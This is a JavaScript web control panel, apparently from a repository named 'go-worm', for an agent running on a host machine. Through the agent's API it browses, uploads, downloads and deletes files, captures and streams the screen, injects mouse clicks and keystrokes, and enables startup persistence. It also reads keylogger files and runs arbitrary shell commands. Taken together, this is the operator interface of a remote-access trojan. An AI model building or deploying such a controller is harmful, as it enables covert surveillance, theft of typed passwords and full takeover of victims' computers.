Files
go-worm/lib/agent/web/app.js
T

579 lines
21 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
(() => {
const errorEl = document.getElementById("error");
const healthEl = document.getElementById("health");
const statusFields = document.getElementById("status-fields");
const pathInput = document.getElementById("file-path");
const fileMeta = document.getElementById("file-meta");
const fileRows = document.getElementById("file-rows");
const shotGallery = document.getElementById("shot-gallery");
const execOut = document.getElementById("exec-out");
const execMeta = document.getElementById("exec-meta");
const logMeta = document.getElementById("log-meta");
const logRows = document.getElementById("log-rows");
const logView = document.getElementById("log-view");
const logViewTitle = document.getElementById("log-view-title");
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const videoCanvas = document.getElementById("video-canvas");
const videoMeta = document.getElementById("video-meta");
const videoStart = document.getElementById("video-start");
const videoStop = document.getElementById("video-stop");
let objectUrls = [];
let videoRunning = false;
let videoTabActive = false;
let selectedLogName = "";
let lastMonitor = { left: 0, top: 0, width: 0, height: 0 };
function showError(message) {
errorEl.textContent = message || "";
errorEl.classList.toggle("show", Boolean(message));
}
async function readError(res) {
try {
const data = await res.json();
return data.error || res.statusText;
} catch {
return res.statusText || "request failed";
}
}
async function api(url, options) {
showError("");
const res = await fetch(url, options);
if (!res.ok) {
throw new Error(await readError(res));
}
return res;
}
function formatBytes(n) {
if (n < 1024) return `${n} B`;
const units = ["KB", "MB", "GB", "TB"];
let value = n / 1024;
let i = 0;
while (value >= 1024 && i < units.length - 1) {
value /= 1024;
i += 1;
}
return `${value.toFixed(value >= 10 ? 0 : 1)} ${units[i]}`;
}
function joinPath(base, name) {
if (!base) return name;
if (/[\\/]$/.test(base)) return base + name;
return `${base}\\${name}`;
}
function parentPath(path) {
const trimmed = String(path || "").replace(/[\\/]+$/, "");
const idx = Math.max(trimmed.lastIndexOf("\\"), trimmed.lastIndexOf("/"));
if (idx <= 2) return trimmed.slice(0, 3);
return trimmed.slice(0, idx);
}
function revokeShots() {
for (const url of objectUrls) URL.revokeObjectURL(url);
objectUrls = [];
}
async function loadHealth() {
try {
const res = await api("/health");
const data = await res.json();
healthEl.textContent = data.status === "ok" ? "online" : data.status;
healthEl.className = "badge ok";
} catch (err) {
healthEl.textContent = "offline";
healthEl.className = "badge bad";
showError(err.message);
}
}
async function loadStatus() {
const res = await api("/api/v1/status");
const data = await res.json();
const fields = [
["Hostname", data.hostname],
["User", data.user],
["OS", data.os],
["Architecture", data.architecture],
["Version", data.agent_version],
["Listen", data.listen_address],
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
];
setStartup(Boolean(data.startup_enabled));
statusFields.replaceChildren(
...fields.flatMap(([label, value]) => {
const dt = document.createElement("dt");
dt.textContent = label;
const dd = document.createElement("dd");
dd.textContent = value || "—";
return [dt, dd];
})
);
}
async function uploadFile(file) {
const dir = pathInput.value.trim();
if (!dir) {
throw new Error("open a folder first");
}
const form = new FormData();
form.set("path", dir);
form.set("file", file);
showError("");
const res = await fetch("/api/v1/upload", { method: "POST", body: form });
if (!res.ok) {
throw new Error(await readError(res));
}
return res.json();
}
async function deleteFile(fullPath, name) {
if (!confirm(`Delete ${name}?`)) {
return;
}
const query = new URLSearchParams({ path: fullPath });
await api(`/api/v1/files?${query}`, { method: "DELETE" });
await listFiles(pathInput.value.trim());
}
async function listFiles(path) {
const query = new URLSearchParams();
if (path) query.set("path", path);
query.set("depth", "0");
const res = await api(`/api/v1/files?${query}`);
const data = await res.json();
pathInput.value = data.path || "";
const entries = data.entries || [];
fileMeta.textContent = `${entries.length} entries`;
fileRows.replaceChildren();
for (const entry of entries) {
const tr = document.createElement("tr");
const name = document.createElement("td");
name.className = entry.type === "dir" ? "name" : "name file";
name.textContent = entry.name;
name.addEventListener("click", () => {
const full = joinPath(data.path, entry.name);
if (entry.type === "dir") {
listFiles(full).catch((err) => showError(err.message));
} else {
const link = document.createElement("a");
link.href = `/api/v1/download?path=${encodeURIComponent(full)}`;
link.download = entry.name;
document.body.append(link);
link.click();
link.remove();
}
});
const type = document.createElement("td");
type.textContent = entry.type;
const size = document.createElement("td");
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
const modified = document.createElement("td");
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
const action = document.createElement("td");
const del = document.createElement("button");
del.type = "button";
del.textContent = "Delete";
const full = joinPath(data.path, entry.name);
del.addEventListener("click", (event) => {
event.stopPropagation();
deleteFile(full, entry.name).catch((err) => showError(err.message));
});
action.append(del);
tr.append(name, type, size, modified, action);
fileRows.append(tr);
}
}
async function captureScreen() {
revokeShots();
shotGallery.replaceChildren();
const format = document.getElementById("shot-format").value;
const quality = document.getElementById("shot-quality").value;
const res = await api(`/api/v1/screenshot?format=${encodeURIComponent(format)}&quality=${encodeURIComponent(quality)}`);
const contentType = res.headers.get("content-type") || "";
if (contentType.includes("application/json")) {
const data = await res.json();
for (const image of data.images || []) {
addShot(base64Blob(image.data_base64, image.content_type), `Monitor ${image.monitor}`);
}
return;
}
addShot(await res.blob(), "Display");
}
function base64Blob(data, contentType) {
const binary = atob(data);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i += 1) {
bytes[i] = binary.charCodeAt(i);
}
return new Blob([bytes], { type: contentType || "application/octet-stream" });
}
function addShot(blob, caption) {
const url = URL.createObjectURL(blob);
objectUrls.push(url);
const figure = document.createElement("figure");
const img = document.createElement("img");
img.src = url;
img.alt = caption;
const figcaption = document.createElement("figcaption");
figcaption.className = "meta";
figcaption.textContent = caption;
figure.append(img, figcaption);
shotGallery.append(figure);
}
function setStartup(enabled) {
startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
startupAdd.disabled = enabled;
startupRemove.disabled = !enabled;
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
loadStatus().catch((err) => showError(err.message));
}
function clamp(value, min, max) {
const n = Number(value);
if (!Number.isFinite(n)) return min;
return Math.min(max, Math.max(min, Math.round(n)));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function startVideo() {
if (videoRunning) return;
videoRunning = true;
videoStart.disabled = true;
videoStop.disabled = false;
while (videoRunning) {
const started = Date.now();
try {
await pullVideoFrame();
} catch (err) {
showError(err.message);
}
if (!videoRunning) break;
const fps = clamp(document.getElementById("video-fps").value, 1, 15);
await sleep(Math.max(0, 1000 / fps - (Date.now() - started)));
}
}
function stopVideo() {
videoRunning = false;
videoStart.disabled = false;
videoStop.disabled = true;
releaseRemoteModifiers().catch((err) => showError(err.message));
}
async function pullVideoFrame() {
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`);
lastMonitor = {
left: Number(res.headers.get("X-Monitor-Left") || 0),
top: Number(res.headers.get("X-Monitor-Top") || 0),
width: Number(res.headers.get("X-Monitor-Width") || 0),
height: Number(res.headers.get("X-Monitor-Height") || 0),
};
const blob = await res.blob();
const bitmap = await createImageBitmap(blob);
if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) {
videoCanvas.width = bitmap.width;
videoCanvas.height = bitmap.height;
}
const ctx = videoCanvas.getContext("2d");
ctx.drawImage(bitmap, 0, 0);
const width = bitmap.width;
const height = bitmap.height;
bitmap.close();
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
}
async function sendClick(event, button) {
if (!lastMonitor.width || !lastMonitor.height) return;
const rect = videoCanvas.getBoundingClientRect();
if (!rect.width || !rect.height) return;
const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width));
const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height));
const x = lastMonitor.left + bitmapX;
const y = lastMonitor.top + bitmapY;
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
await api("/api/v1/input/click", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ x, y, button, monitor }),
});
}
const MODIFIER_CODES = new Set([
"ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight",
"AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight",
]);
const CODE_KEYS = {
Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab",
Escape: "escape", Space: "space", Delete: "delete", Insert: "insert",
Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown",
ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right",
Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/",
Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'",
};
for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i);
for (let i = 0; i < 26; i += 1) {
const letter = String.fromCharCode(65 + i);
CODE_KEYS[`Key${letter}`] = letter.toLowerCase();
}
for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`;
const modState = { ctrl: false, alt: false, shift: false, win: false };
function setModButton(name, active) {
const button = document.querySelector(`.mod-btn[data-mod="${name}"]`);
if (!button) return;
button.classList.toggle("active", active);
button.setAttribute("aria-pressed", active ? "true" : "false");
}
function isTypingTarget(el) {
if (!el || el === document.body) return false;
const tag = el.tagName;
if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true;
if (el.isContentEditable) return true;
return false;
}
function setVideoTabActive(active) {
if (videoTabActive === active) return;
videoTabActive = active;
document.removeEventListener("keydown", onVideoKeydown, true);
if (active) {
document.addEventListener("keydown", onVideoKeydown, true);
}
}
function onVideoKeydown(event) {
if (!videoTabActive) return;
if (isTypingTarget(event.target)) return;
if (MODIFIER_CODES.has(event.code)) return;
const key = keyFromEvent(event);
if (!key) return;
event.preventDefault();
event.stopPropagation();
sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message));
}
function keyFromEvent(event) {
if (CODE_KEYS[event.code]) return CODE_KEYS[event.code];
if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) {
return event.key.toLowerCase();
}
return null;
}
function transientModifiers(event) {
const mods = [];
if (event.shiftKey && !modState.shift) mods.push("shift");
if (event.ctrlKey && !modState.ctrl) mods.push("ctrl");
if (event.altKey && !modState.alt) mods.push("alt");
if (event.metaKey && !modState.win) mods.push("win");
return mods;
}
async function sendRemoteKey(key, action = "tap", modifiers = []) {
await api("/api/v1/input/key", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ key, action, modifiers }),
});
}
async function releaseRemoteModifiers() {
const jobs = [];
for (const [name, active] of Object.entries(modState)) {
if (!active) continue;
modState[name] = false;
setModButton(name, false);
jobs.push(sendRemoteKey(name, "up"));
}
await Promise.all(jobs);
}
function downloadLog(name) {
const link = document.createElement("a");
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(name)}`;
link.download = name;
document.body.append(link);
link.click();
link.remove();
}
async function openLog(name, row) {
selectedLogName = name;
document.querySelectorAll("tr.log-row.selected").forEach((item) => item.classList.remove("selected"));
row?.classList.add("selected");
logViewTitle.textContent = name;
logView.hidden = false;
logView.textContent = "Loading…";
try {
const res = await api(`/api/v1/keylog/download?file=${encodeURIComponent(name)}`);
logView.textContent = await res.text();
} catch (err) {
logView.textContent = "";
logView.hidden = true;
logViewTitle.textContent = "";
showError(err.message);
}
}
async function listKeylogs() {
const res = await api("/api/v1/keylog");
const data = await res.json();
const files = data.files || [];
logMeta.textContent = `${files.length} files · ${data.directory || ""} · click to view, right-click to save`;
logRows.replaceChildren();
for (const file of files) {
const tr = document.createElement("tr");
tr.className = "log-row";
if (file.name === selectedLogName) tr.classList.add("selected");
const name = document.createElement("td");
name.className = "log-name";
name.textContent = file.name;
name.addEventListener("click", () => {
openLog(file.name, tr).catch((err) => showError(err.message));
});
tr.addEventListener("contextmenu", (event) => {
event.preventDefault();
downloadLog(file.name);
});
const size = document.createElement("td");
size.textContent = formatBytes(file.size || 0);
const modified = document.createElement("td");
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
tr.append(name, size, modified);
logRows.append(tr);
}
if (selectedLogName && !files.some((file) => file.name === selectedLogName)) {
selectedLogName = "";
logView.hidden = true;
logView.textContent = "";
logViewTitle.textContent = "";
} else if (selectedLogName) {
const row = logRows.querySelector("tr.log-row.selected");
openLog(selectedLogName, row).catch((err) => showError(err.message));
}
}
async function runCommand() {
const command = document.getElementById("exec-command").value.trim();
const timeout = Number(document.getElementById("exec-timeout").value);
const res = await api("/api/v1/exec", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command, timeout_sec: timeout }),
});
const data = await res.json();
execMeta.textContent = `exit code ${data.exit_code}`;
const stdout = data.stdout || "";
const stderr = data.stderr || "";
execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n");
}
document.querySelectorAll("nav button").forEach((button) => {
button.addEventListener("click", () => {
document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active"));
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
button.classList.add("active");
document.getElementById(button.dataset.tab).classList.add("active");
const onVideo = button.dataset.tab === "video";
setVideoTabActive(onVideo);
if (!onVideo) {
stopVideo();
}
if (button.dataset.tab === "logs") {
listKeylogs().catch((err) => showError(err.message));
}
});
});
document.getElementById("refresh-status").addEventListener("click", () => {
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
});
startupAdd.addEventListener("click", () => {
setStartupEnabled(true).catch((err) => showError(err.message));
});
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});
document.getElementById("file-up").addEventListener("click", () => {
listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
});
const filePicker = document.getElementById("file-picker");
document.getElementById("file-upload").addEventListener("click", () => {
filePicker.click();
});
filePicker.addEventListener("change", () => {
const file = filePicker.files[0];
filePicker.value = "";
if (!file) return;
uploadFile(file)
.then((data) => {
fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`;
return listFiles(pathInput.value.trim());
})
.catch((err) => showError(err.message));
});
document.getElementById("shot-capture").addEventListener("click", () => {
captureScreen().catch((err) => showError(err.message));
});
videoStart.addEventListener("click", () => {
startVideo().catch((err) => showError(err.message));
});
videoStop.addEventListener("click", () => stopVideo());
videoCanvas.addEventListener("click", (event) => {
sendClick(event, "left").catch((err) => showError(err.message));
});
videoCanvas.addEventListener("contextmenu", (event) => {
event.preventDefault();
sendClick(event, "right").catch((err) => showError(err.message));
});
document.querySelectorAll(".mod-btn").forEach((button) => {
button.addEventListener("click", () => {
const name = button.dataset.mod;
if (!name) return;
modState[name] = !modState[name];
setModButton(name, modState[name]);
sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => {
modState[name] = !modState[name];
setModButton(name, modState[name]);
showError(err.message);
});
});
});
document.getElementById("exec-run").addEventListener("click", () => {
runCommand().catch((err) => showError(err.message));
});
document.getElementById("log-refresh").addEventListener("click", () => {
listKeylogs().catch((err) => showError(err.message));
});
Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message));
})();